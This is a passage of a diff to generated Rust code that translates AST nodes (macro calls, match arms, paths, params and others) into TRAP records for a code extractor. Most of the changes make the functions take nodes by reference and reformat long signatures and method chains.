node.syntax().children_with_tokens()); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_macro_call(&mut self, node: ast::MacroCall) -> Option> { - if self.should_be_excluded(&node) { return None; } - let attrs = node.attrs().filter_map(|x| self.emit_attr(x)).collect(); - let path = node.path().and_then(|x| self.emit_path(x)); - let token_tree = node.token_tree().and_then(|x| self.emit_token_tree(x)); + pub(crate) fn emit_macro_call( + &mut self, + node: &ast::MacroCall, + ) -> Option> { + if self.should_be_excluded(node) { + return None; + } + let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); + let path = node.path().and_then(|x| self.emit_path(&x)); + let token_tree = node.token_tree().and_then(|x| self.emit_token_tree(&x)); let label = self.trap.emit(generated::MacroCall { id: TrapId::Star, attrs, path, token_tree, }); - self.emit_location(label, &node); + self.emit_location(label, node); emit_detached!(MacroCall, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_macro_def(&mut self, node: ast::MacroDef) -> Option> { - if self.should_be_excluded(&node) { return None; } - let args = node.args().and_then(|x| self.emit_token_tree(x)); - let attrs = node.attrs().filter_map(|x| self.emit_attr(x)).collect(); - let body = node.body().and_then(|x| self.emit_token_tree(x)); - let name = node.name().and_then(|x| self.emit_name(x)); - let visibility = node.visibility().and_then(|x| self.emit_visibility(x)); + pub(crate) fn emit_macro_def( + &mut self, + node: &ast::MacroDef, + ) -> Option> { + if self.should_be_excluded(node) { + return None; + } + let args = node.args().and_then(|x| self.emit_token_tree(&x)); + let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); + let body = node.body().and_then(|x| self.emit_token_tree(&x)); + let name = node.name().and_then(|x| self.emit_name(&x)); + let visibility = node.visibility().and_then(|x| self.emit_visibility(&x)); let label = self.trap.emit(generated::MacroDef { id: TrapId::Star, args, @@ -1304,54 +1571,64 @@ impl Translator<'_> { name, visibility, }); - self.emit_location(label, &node); + self.emit_location(label, node); emit_detached!(MacroDef, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_macro_expr(&mut self, node: ast::MacroExpr) -> Option> { - let macro_call = node.macro_call().and_then(|x| self.emit_macro_call(x)); + pub(crate) fn emit_macro_expr( + &mut self, + node: &ast::MacroExpr, + ) -> Option> { + let macro_call = node.macro_call().and_then(|x| self.emit_macro_call(&x)); let label = self.trap.emit(generated::MacroExpr { id: TrapId::Star, macro_call, }); - self.emit_location(label, &node); + self.emit_location(label, node); emit_detached!(MacroExpr, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_macro_items(&mut self, node: ast::MacroItems) -> Option> { - let items = node.items().filter_map(|x| self.emit_item(x)).collect(); + pub(crate) fn emit_macro_items( + &mut self, + node: &ast::MacroItems, + ) -> Option> { + let items = node.items().filter_map(|x| self.emit_item(&x)).collect(); let label = self.trap.emit(generated::MacroItems { id: TrapId::Star, items, }); - self.emit_location(label, &node); + self.emit_location(label, node); emit_detached!(MacroItems, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_macro_pat(&mut self, node: ast::MacroPat) -> Option> { - let macro_call = node.macro_call().and_then(|x| self.emit_macro_call(x)); + pub(crate) fn emit_macro_pat( + &mut self, + node: &ast::MacroPat, + ) -> Option> { + let macro_call = node.macro_call().and_then(|x| self.emit_macro_call(&x)); let label = self.trap.emit(generated::MacroPat { id: TrapId::Star, macro_call, }); - self.emit_location(label, &node); + self.emit_location(label, node); emit_detached!(MacroPat, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_macro_rules(&mut self, node: ast::MacroRules) -> Option> { - if self.should_be_excluded(&node) { return None; } - let attrs = node.attrs().filter_map(|x| self.emit_attr(x)).collect(); - let name = node.name().and_then(|x| self.emit_name(x)); - let token_tree = node.token_tree().and_then(|x| self.emit_token_tree(x)); - let visibility = node.visibility().and_then(|x| self.emit_visibility(x)); + pub(crate) fn emit_macro_rules( + &mut self, + node: &ast::MacroRules, + ) -> Option> { + if self.should_be_excluded(node) { + return None; + } + let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); + let name = node.name().and_then(|x| self.emit_name(&x)); + let token_tree = node.token_tree().and_then(|x| self.emit_token_tree(&x)); + let visibility = node.visibility().and_then(|x| self.emit_visibility(&x)); let label = self.trap.emit(generated::MacroRules { id: TrapId::Star, attrs, @@ -1359,44 +1636,55 @@ impl Translator<'_> { token_tree, visibility, }); - self.emit_location(label, &node); + self.emit_location(label, node); emit_detached!(MacroRules, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); - Some(label) - } - - pub(crate) fn emit_macro_stmts(&mut self, node: ast::MacroStmts) -> Option> { - let expr = node.expr().and_then(|x| self.emit_expr(x)); - let statements = node.statements().filter_map(|x| self.emit_stmt(x)).collect(); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); + Some(label) + } + pub(crate) fn emit_macro_stmts( + &mut self, + node: &ast::MacroStmts, + ) -> Option> { + let expr = node.expr().and_then(|x| self.emit_expr(&x)); + let statements = node + .statements() + .filter_map(|x| self.emit_stmt(&x)) + .collect(); let label = self.trap.emit(generated::MacroStmts { id: TrapId::Star, expr, statements, }); - self.emit_location(label, &node); + self.emit_location(label, node); emit_detached!(MacroStmts, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_macro_type(&mut self, node: ast::MacroType) -> Option> { - let macro_call = node.macro_call().and_then(|x| self.emit_macro_call(x)); + pub(crate) fn emit_macro_type( + &mut self, + node: &ast::MacroType, + ) -> Option> { + let macro_call = node.macro_call().and_then(|x| self.emit_macro_call(&x)); let label = self.trap.emit(generated::MacroTypeRepr { id: TrapId::Star, macro_call, }); - self.emit_location(label, &node); + self.emit_location(label, node); emit_detached!(MacroTypeRepr, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_match_arm(&mut self, node: ast::MatchArm) -> Option> { - if self.should_be_excluded(&node) { return None; } - let attrs = node.attrs().filter_map(|x| self.emit_attr(x)).collect(); - let expr = node.expr().and_then(|x| self.emit_expr(x)); - let guard = node.guard().and_then(|x| self.emit_match_guard(x)); - let pat = node.pat().and_then(|x| self.emit_pat(x)); + pub(crate) fn emit_match_arm( + &mut self, + node: &ast::MatchArm, + ) -> Option> { + if self.should_be_excluded(node) { + return None; + } + let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); + let expr = node.expr().and_then(|x| self.emit_expr(&x)); + let guard = node.guard().and_then(|x| self.emit_match_guard(&x)); + let pat = node.pat().and_then(|x| self.emit_pat(&x)); let label = self.trap.emit(generated::MatchArm { id: TrapId::Star, attrs, @@ -1404,61 +1692,75 @@ impl Translator<'_> { guard, pat, }); - self.emit_location(label, &node); + self.emit_location(label, node); emit_detached!(MatchArm, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_match_arm_list(&mut self, node: ast::MatchArmList) -> Option> { - if self.should_be_excluded(&node) { return None; } - let arms = node.arms().filter_map(|x| self.emit_match_arm(x)).collect(); - let attrs = node.attrs().filter_map(|x| self.emit_attr(x)).collect(); + pub(crate) fn emit_match_arm_list( + &mut self, + node: &ast::MatchArmList, + ) -> Option> { + if self.should_be_excluded(node) { + return None; + } + let arms = node + .arms() + .filter_map(|x| self.emit_match_arm(&x)) + .collect(); + let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); let label = self.trap.emit(generated::MatchArmList { id: TrapId::Star, arms, attrs, }); - self.emit_location(label, &node); + self.emit_location(label, node); emit_detached!(MatchArmList, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_match_expr(&mut self, node: ast::MatchExpr) -> Option> { - if self.should_be_excluded(&node) { return None; } - let attrs = node.attrs().filter_map(|x| self.emit_attr(x)).collect(); - let scrutinee = node.expr().and_then(|x| self.emit_expr(x)); - let match_arm_list = node.match_arm_list().and_then(|x| self.emit_match_arm_list(x)); + pub(crate) fn emit_match_expr( + &mut self, + node: &ast::MatchExpr, + ) -> Option> { + if self.should_be_excluded(node) { + return None; + } + let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); + let scrutinee = node.expr().and_then(|x| self.emit_expr(&x)); + let match_arm_list = node + .match_arm_list() + .and_then(|x| self.emit_match_arm_list(&x)); let label = self.trap.emit(generated::MatchExpr { id: TrapId::Star, attrs, scrutinee, match_arm_list, }); - self.emit_location(label, &node); + self.emit_location(label, node); emit_detached!(MatchExpr, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_match_guard(&mut self, node: ast::MatchGuard) -> Option> { - let condition = node.condition().and_then(|x| self.emit_expr(x)); + pub(crate) fn emit_match_guard( + &mut self, + node: &ast::MatchGuard, + ) -> Option> { + let condition = node.condition().and_then(|x| self.emit_expr(&x)); let label = self.trap.emit(generated::MatchGuard { id: TrapId::Star, condition, }); - self.emit_location(label, &node); + self.emit_location(label, node); emit_detached!(MatchGuard, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_meta(&mut self, node: ast::Meta) -> Option> { - let expr = node.expr().and_then(|x| self.emit_expr(x)); + pub(crate) fn emit_meta(&mut self, node: &ast::Meta) -> Option> { + let expr = node.expr().and_then(|x| self.emit_expr(&x)); let is_unsafe = node.unsafe_token().is_some(); - let path = node.path().and_then(|x| self.emit_path(x)); - let token_tree = node.token_tree().and_then(|x| self.emit_token_tree(x)); + let path = node.path().and_then(|x| self.emit_path(&x)); + let token_tree = node.token_tree().and_then(|x| self.emit_token_tree(&x)); let label = self.trap.emit(generated::Meta { id: TrapId::Star, expr, @@ -1466,19 +1768,25 @@ impl Translator<'_> { path, token_tree, }); - self.emit_location(label, &node); + self.emit_location(label, node); emit_detached!(Meta, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_method_call_expr(&mut self, node: ast::MethodCallExpr) -> Option> { - if self.should_be_excluded(&node) { return None; } - let arg_list = node.arg_list().and_then(|x| self.emit_arg_list(x)); - let attrs = node.attrs().filter_map(|x| self.emit_attr(x)).collect(); - let generic_arg_list = node.generic_arg_list().and_then(|x| self.emit_generic_arg_list(x)); - let identifier = node.name_ref().and_then(|x| self.emit_name_ref(x)); - let receiver = node.receiver().and_then(|x| self.emit_expr(x)); + pub(crate) fn emit_method_call_expr( + &mut self, + node: &ast::MethodCallExpr, + ) -> Option> { + if self.should_be_excluded(node) { + return None; + } + let arg_list = node.arg_list().and_then(|x| self.emit_arg_list(&x)); + let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); + let generic_arg_list = node + .generic_arg_list() + .and_then(|x| self.emit_generic_arg_list(&x)); + let identifier = node.name_ref().and_then(|x| self.emit_name_ref(&x)); + let receiver = node.receiver().and_then(|x| self.emit_expr(&x)); let label = self.trap.emit(generated::MethodCallExpr { id: TrapId::Star, arg_list, @@ -1487,18 +1795,19 @@ impl Translator<'_> { identifier, receiver, }); - self.emit_location(label, &node); + self.emit_location(label, node); emit_detached!(MethodCallExpr, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_module(&mut self, node: ast::Module) -> Option> { - if self.should_be_excluded(&node) { return None; } - let attrs = node.attrs().filter_map(|x| self.emit_attr(x)).collect(); - let item_list = node.item_list().and_then(|x| self.emit_item_list(x)); - let name = node.name().and_then(|x| self.emit_name(x)); - let visibility = node.visibility().and_then(|x| self.emit_visibility(x)); + pub(crate) fn emit_module(&mut self, node: &ast::Module) -> Option> { + if self.should_be_excluded(node) { + return None; + } + let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); + let item_list = node.item_list().and_then(|x| self.emit_item_list(&x)); + let name = node.name().and_then(|x| self.emit_name(&x)); + let visibility = node.visibility().and_then(|x| self.emit_visibility(&x)); let label = self.trap.emit(generated::Module { id: TrapId::Star, attrs, @@ -1506,204 +1815,242 @@ impl Translator<'_> { name, visibility, }); - self.emit_location(label, &node); + self.emit_location(label, node); emit_detached!(Module, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_name(&mut self, node: ast::Name) -> Option> { + pub(crate) fn emit_name(&mut self, node: &ast::Name) -> Option> { let text = node.try_get_text(); let label = self.trap.emit(generated::Name { id: TrapId::Star, text, }); - self.emit_location(label, &node); + self.emit_location(label, node); emit_detached!(Name, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_name_ref(&mut self, node: ast::NameRef) -> Option> { + pub(crate) fn emit_name_ref( + &mut self, + node: &ast::NameRef, + ) -> Option> { let text = node.try_get_text(); let label = self.trap.emit(generated::NameRef { id: TrapId::Star, text, }); - self.emit_location(label, &node); + self.emit_location(label, node); emit_detached!(NameRef, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_never_type(&mut self, node: ast::NeverType) -> Option> { - let label = self.trap.emit(generated::NeverTypeRepr { - id: TrapId::Star, - }); - self.emit_location(label, &node); + pub(crate) fn emit_never_type( + &mut self, + node: &ast::NeverType, + ) -> Option> { + let label = self + .trap + .emit(generated::NeverTypeRepr { id: TrapId::Star }); + self.emit_location(label, node); emit_detached!(NeverTypeRepr, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_offset_of_expr(&mut self, node: ast::OffsetOfExpr) -> Option> { - if self.should_be_excluded(&node) { return None; } - let attrs = node.attrs().filter_map(|x| self.emit_attr(x)).collect(); - let fields = node.fields().filter_map(|x| self.emit_name_ref(x)).collect(); - let type_repr = node.ty().and_then(|x| self.emit_type(x)); + pub(crate) fn emit_offset_of_expr( + &mut self, + node: &ast::OffsetOfExpr, + ) -> Option> { + if self.should_be_excluded(node) { + return None; + } + let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); + let fields = node + .fields() + .filter_map(|x| self.emit_name_ref(&x)) + .collect(); + let type_repr = node.ty().and_then(|x| self.emit_type(&x)); let label = self.trap.emit(generated::OffsetOfExpr { id: TrapId::Star, attrs, fields, type_repr, }); - self.emit_location(label, &node); + self.emit_location(label, node); emit_detached!(OffsetOfExpr, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_or_pat(&mut self, node: ast::OrPat) -> Option> { - let pats = node.pats().filter_map(|x| self.emit_pat(x)).collect(); + pub(crate) fn emit_or_pat(&mut self, node: &ast::OrPat) -> Option> { + let pats = node.pats().filter_map(|x| self.emit_pat(&x)).collect(); let label = self.trap.emit(generated::OrPat { id: TrapId::Star, pats, }); - self.emit_location(label, &node); + self.emit_location(label, node); emit_detached!(OrPat, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_param(&mut self, node: ast::Param) -> Option> { - if self.should_be_excluded(&node) { return None; } - let attrs = node.attrs().filter_map(|x| self.emit_attr(x)).collect(); - let pat = node.pat().and_then(|x| self.emit_pat(x)); - let type_repr = node.ty().and_then(|x| self.emit_type(x)); + pub(crate) fn emit_param(&mut self, node: &ast::Param) -> Option> { + if self.should_be_excluded(node) { + return None; + } + let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); + let pat = node.pat().and_then(|x| self.emit_pat(&x)); + let type_repr = node.ty().and_then(|x| self.emit_type(&x)); let label = self.trap.emit(generated::Param { id: TrapId::Star, attrs, pat, type_repr, }); - self.emit_location(label, &node); + self.emit_location(label, node); emit_detached!(Param, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_param_list(&mut self, node: ast::ParamList) -> Option> { - let params = node.params().filter_map(|x| self.emit_param(x)).collect(); - let self_param = node.self_param().and_then(|x| self.emit_self_param(x)); + pub(crate) fn emit_param_list( + &mut self, + node: &ast::ParamList, + ) -> Option> { + let params = node.params().filter_map(|x| self.emit_param(&x)).collect(); + let self_param = node.self_param().and_then(|x| self.emit_self_param(&x)); let label = self.trap.emit(generated::ParamList { id: TrapId::Star, params, self_param, }); - self.emit_location(label, &node); + self.emit_location(label, node); emit_detached!(ParamList, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_paren_expr(&mut self, node: ast::ParenExpr) -> Option> { - if self.should_be_excluded(&node) { return None; } - let attrs = node.attrs().filter_map(|x| self.emit_attr(x)).collect(); - let expr = node.expr().and_then(|x| self.emit_expr(x)); + pub(crate) fn emit_paren_expr( + &mut self, + node: &ast::ParenExpr, + ) -> Option> { + if self.should_be_excluded(node) { + return None; + } + let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); + let expr = node.expr().and_then(|x| self.emit_expr(&x)); let label = self.trap.emit(generated::ParenExpr { id: TrapId::Star, attrs, expr, }); - self.emit_location(label, &node); + self.emit_location(label, node); emit_detached!(ParenExpr, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_paren_pat(&mut self, node: ast::ParenPat) -> Option> { - let pat = node.pat().and_then(|x| self.emit_pat(x)); + pub(crate) fn emit_paren_pat( + &mut self, + node: &ast::ParenPat, + ) -> Option> { + let pat = node.pat().and_then(|x| self.emit_pat(&x)); let label = self.trap.emit(generated::ParenPat { id: TrapId::Star, pat, }); - self.emit_location(label, &node); + self.emit_location(label, node); emit_detached!(ParenPat, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_paren_type(&mut self, node: ast::ParenType) -> Option> { - let type_repr = node.ty().and_then(|x| self.emit_type(x)); + pub(crate) fn emit_paren_type( + &mut self, + node: &ast::ParenType, + ) -> Option> { + let type_repr = node.ty().and_then(|x| self.emit_type(&x)); let label = self.trap.emit(generated::ParenTypeRepr { id: TrapId::Star, type_repr, }); - self.emit_location(label, &node); + self.emit_location(label, node); emit_detached!(ParenTypeRepr, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_parenthesized_arg_list(&mut self, node: ast::ParenthesizedArgList) -> Option> { - let type_args = node.type_args().filter_map(|x| self.emit_type_arg(x)).collect(); + pub(crate) fn emit_parenthesized_arg_list( + &mut self, + node: &ast::ParenthesizedArgList, + ) -> Option> { + let type_args = node + .type_args() + .filter_map(|x| self.emit_type_arg(&x)) + .collect(); let label = self.trap.emit(generated::ParenthesizedArgList { id: TrapId::Star, type_args, }); - self.emit_location(label, &node); + self.emit_location(label, node); emit_detached!(ParenthesizedArgList, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_path(&mut self, node: ast::Path) -> Option> { - let qualifier = node.qualifier().and_then(|x| self.emit_path(x)); - let segment = node.segment().and_then(|x| self.emit_path_segment(x)); + pub(crate) fn emit_path(&mut self, node: &ast::Path) -> Option> { + let qualifier = node.qualifier().and_then(|x| self.emit_path(&x)); + let segment = node.segment().and_then(|x| self.emit_path_segment(&x)); let label = self.trap.emit(generated::Path { id: TrapId::Star, qualifier, segment, }); - self.emit_location(label, &node); + self.emit_location(label, node); emit_detached!(Path, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_path_expr(&mut self, node: ast::PathExpr) -> Option> { - if self.should_be_excluded(&node) { return None; } - let attrs = node.attrs().filter_map(|x| self.emit_attr(x)).collect(); - let path = node.path().and_then(|x| self.emit_path(x)); + pub(crate) fn emit_path_expr( + &mut self, + node: &ast::PathExpr, + ) -> Option> { + if self.should_be_excluded(node) { + return None; + } + let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); + let path = node.path().and_then(|x| self.emit_path(&x)); let label = self.trap.emit(generated::PathExpr { id: TrapId::Star, attrs, path, }); - self.emit_location(label, &node); + self.emit_location(label, node); emit_detached!(PathExpr, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_path_pat(&mut self, node: ast::PathPat) -> Option> { - let path = node.path().and_then(|x| self.emit_path(x)); + pub(crate) fn emit_path_pat( + &mut self, + node: &ast::PathPat, + ) -> Option> { + let path = node.path().and_then(|x| self.emit_path(&x)); let label = self.trap.emit(generated::PathPat { id: TrapId::Star, path, }); - self.emit_location(label, &node); + self.emit_location(label, node); emit_detached!(PathPat, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); - Some(label) - } - - pub(crate) fn emit_path_segment(&mut self, node: ast::PathSegment) -> Option> { - let generic_arg_list = node.generic_arg_list().and_then(|x| self.emit_generic_arg_list(x)); - let identifier = node.name_ref().and_then(|x| self.emit_name_ref(x)); - let parenthesized_arg_list = node.parenthesized_arg_list().and_then(|x| self.emit_parenthesized_arg_list(x)); - let ret_type = node.ret_type().and_then(|x| self.emit_ret_type(x)); - let return_type_syntax = node.return_type_syntax().and_then(|x| self.emit_return_type_syntax(x)); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); + Some(label) + } + pub(crate) fn emit_path_segment( + &mut self, + node: &ast::PathSegment, + ) -> Option> { + let generic_arg_list = node + .generic_arg_list() + .and_then(|x| self.emit_generic_arg_list(&x)); + let identifier = node.name_ref().and_then(|x| self.emit_name_ref(&x)); + let parenthesized_arg_list = node + .parenthesized_arg_list() + .and_then(|x| self.emit_parenthesized_arg_list(&x)); + let ret_type = node.ret_type().and_then(|x| self.emit_ret_type(&x)); + let return_type_syntax = node + .return_type_syntax() + .and_then(|x| self.emit_return_type_syntax(&x)); let label = self.trap.emit(generated::PathSegment { id: TrapId::Star, generic_arg_list, @@ -1712,28 +2059,34 @@ impl Translator<'_> { ret_type, return_type_syntax, }); - self.emit_location(label, &node); + self.emit_location(label, node); emit_detached!(PathSegment, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_path_type(&mut self, node: ast::PathType) -> Option> { - let path = node.path().and_then(|x| self.emit_path(x)); + pub(crate) fn emit_path_type( + &mut self, + node: &ast::PathType, + ) -> Option> { + let path = node.path().and_then(|x| self.emit_path(&x)); let label = self.trap.emit(generated::PathTypeRepr { id: TrapId::Star, path, }); - self.emit_location(label, &node); + self.emit_location(label, node); emit_detached!(PathTypeRepr, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_prefix_expr(&mut self, node: ast::PrefixExpr) -> Option> { - if self.should_be_excluded(&node) { return None; } - let attrs = node.attrs().filter_map(|x| self.emit_attr(x)).collect(); - let expr = node.expr().and_then(|x| self.emit_expr(x)); + pub(crate) fn emit_prefix_expr( + &mut self, + node: &ast::PrefixExpr, + ) -> Option> { + if self.should_be_excluded(node) { + return None; + } + let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); + let expr = node.expr().and_then(|x| self.emit_expr(&x)); let operator_name = node.try_get_text(); let label = self.trap.emit(generated::PrefixExpr { id: TrapId::Star, @@ -1741,34 +2094,40 @@ impl Translator<'_> { expr, operator_name, }); - self.emit_location(label, &node); + self.emit_location(label, node); emit_detached!(PrefixExpr, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_ptr_type(&mut self, node: ast::PtrType) -> Option> { + pub(crate) fn emit_ptr_type( + &mut self, + node: &ast::PtrType, + ) -> Option> { let is_const = node.const_token().is_some(); let is_mut = node.mut_token().is_some(); - let type_repr = node.ty().and_then(|x| self.emit_type(x)); + let type_repr = node.ty().and_then(|x| self.emit_type(&x)); let label = self.trap.emit(generated::PtrTypeRepr { id: TrapId::Star, is_const, is_mut, type_repr, }); - self.emit_location(label, &node); + self.emit_location(label, node); emit_detached!(PtrTypeRepr, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_range_expr(&mut self, node: ast::RangeExpr) -> Option> { - if self.should_be_excluded(&node) { return None; } - let attrs = node.attrs().filter_map(|x| self.emit_attr(x)).collect(); - let end = node.end().and_then(|x| self.emit_expr(x)); + pub(crate) fn emit_range_expr( + &mut self, + node: &ast::RangeExpr, + ) -> Option> { + if self.should_be_excluded(node) { + return None; + } + let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); + let end = node.end().and_then(|x| self.emit_expr(&x)); let operator_name = node.try_get_text(); - let start = node.start().and_then(|x| self.emit_expr(x)); + let start = node.start().and_then(|x| self.emit_expr(&x)); let label = self.trap.emit(generated::RangeExpr { id: TrapId::Star, attrs, @@ -1776,84 +2135,105 @@ impl Translator<'_> { operator_name, start, }); - self.emit_location(label, &node); + self.emit_location(label, node); emit_detached!(RangeExpr, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_range_pat(&mut self, node: ast::RangePat) -> Option> { - let end = node.end().and_then(|x| self.emit_pat(x)); + pub(crate) fn emit_range_pat( + &mut self, + node: &ast::RangePat, + ) -> Option> { + let end = node.end().and_then(|x| self.emit_pat(&x)); let operator_name = node.try_get_text(); - let start = node.start().and_then(|x| self.emit_pat(x)); + let start = node.start().and_then(|x| self.emit_pat(&x)); let label = self.trap.emit(generated::RangePat { id: TrapId::Star, end, operator_name, start, }); - self.emit_location(label, &node); + self.emit_location(label, node); emit_detached!(RangePat, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_record_expr(&mut self, node: ast::RecordExpr) -> Option> { - let path = node.path().and_then(|x| self.emit_path(x)); - let struct_expr_field_list = node.record_expr_field_list().and_then(|x| self.emit_record_expr_field_list(x)); + pub(crate) fn emit_record_expr( + &mut self, + node: &ast::RecordExpr, + ) -> Option> { + let path = node.path().and_then(|x| self.emit_path(&x)); + let struct_expr_field_list = node + .record_expr_field_list() + .and_then(|x| self.emit_record_expr_field_list(&x)); let label = self.trap.emit(generated::StructExpr { id: TrapId::Star, path, struct_expr_field_list, }); - self.emit_location(label, &node); + self.emit_location(label, node); emit_detached!(StructExpr, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_record_expr_field(&mut self, node: ast::RecordExprField) -> Option> { - if self.should_be_excluded(&node) { return None; } - let attrs = node.attrs().filter_map(|x| self.emit_attr(x)).collect(); - let expr = node.expr().and_then(|x| self.emit_expr(x)); - let identifier = node.name_ref().and_then(|x| self.emit_name_ref(x)); + pub(crate) fn emit_record_expr_field( + &mut self, + node: &ast::RecordExprField, + ) -> Option> { + if self.should_be_excluded(node) { + return None; + } + let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); + let expr = node.expr().and_then(|x| self.emit_expr(&x)); + let identifier = node.name_ref().and_then(|x| self.emit_name_ref(&x)); let label = self.trap.emit(generated::StructExprField { id: TrapId::Star, attrs, expr, identifier, }); - self.emit_location(label, &node); + self.emit_location(label, node); 